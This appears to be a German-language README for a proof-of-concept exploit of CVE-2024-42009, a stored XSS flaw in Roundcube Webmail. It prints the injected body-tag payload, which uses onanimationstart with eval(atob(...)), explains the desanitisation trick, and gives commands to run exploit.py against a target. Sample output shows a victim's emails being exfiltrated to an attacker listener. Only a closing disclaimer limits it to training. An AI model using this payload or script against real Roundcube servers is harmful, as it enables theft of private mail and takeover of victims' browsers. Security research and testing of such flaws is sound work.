
CVE-2024-42009 Proof-of-Concept
Dieses Repository enthält einen Proof-of-Concept (PoC)-Exploit für CVE-2024-42009, eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle in Roundcube Webmail Version 1.6.7 und mehreren anderen Versionen. Der Exploit zeigt, wie ein Angreifer bösartiges JavaScript in eine Nachricht einschleusen und ein Problem mit der Desanitisierung beim Parsen des HTML-Codes innerhalb der Nachricht ausnutzen kann. Dies kann dann verwendet werden, um in diesem Beispiel E-Mail-Inhalte aus dem Posteingang des Opfers zu exfiltrieren oder sogar den Browser des Opfers zu übernehmen.
Eine Cross-Site-Scripting-Schwachstelle in Roundcube bis Version 1.5.7 und 1.6.x bis 1.6.7 erlaubt es einem entfernten Angreifer, E-Mails eines Opfers zu stehlen und zu versenden, indem er eine manipulierte E-Mail-Nachricht verwendet, die ein Desanitisierungsproblem in message_body() in program/actions/mail/show.php ausnutzt.
Der Exploit verwendet einen CSS-Animationstrigger für die XSS-Ausführung:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
Der Body wird als div geparst, und wir müssen uns daran anpassen. Deshalb verwenden wir das onanimationstart-Attribut, um die eval-Funktion aufzurufen und komplexe JavaScript-Aufrufe daraus auszuführen. Für weitere Informationen zur Funktionsweise des Exploits und zu den Schwachstellen in Roundcube lesen Sie diesen Artikel.
Installieren Sie die erforderlichen Python-Pakete:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ WICHTIG: Dieser Proof-of-Concept wird nur zu Schulungs- und autorisierten Testzwecken bereitgestellt. Verwenden Sie ihn verantwortungsvoll und dieses Konto ist nicht verantwortlich für Schäden, die von anderen verursacht werden.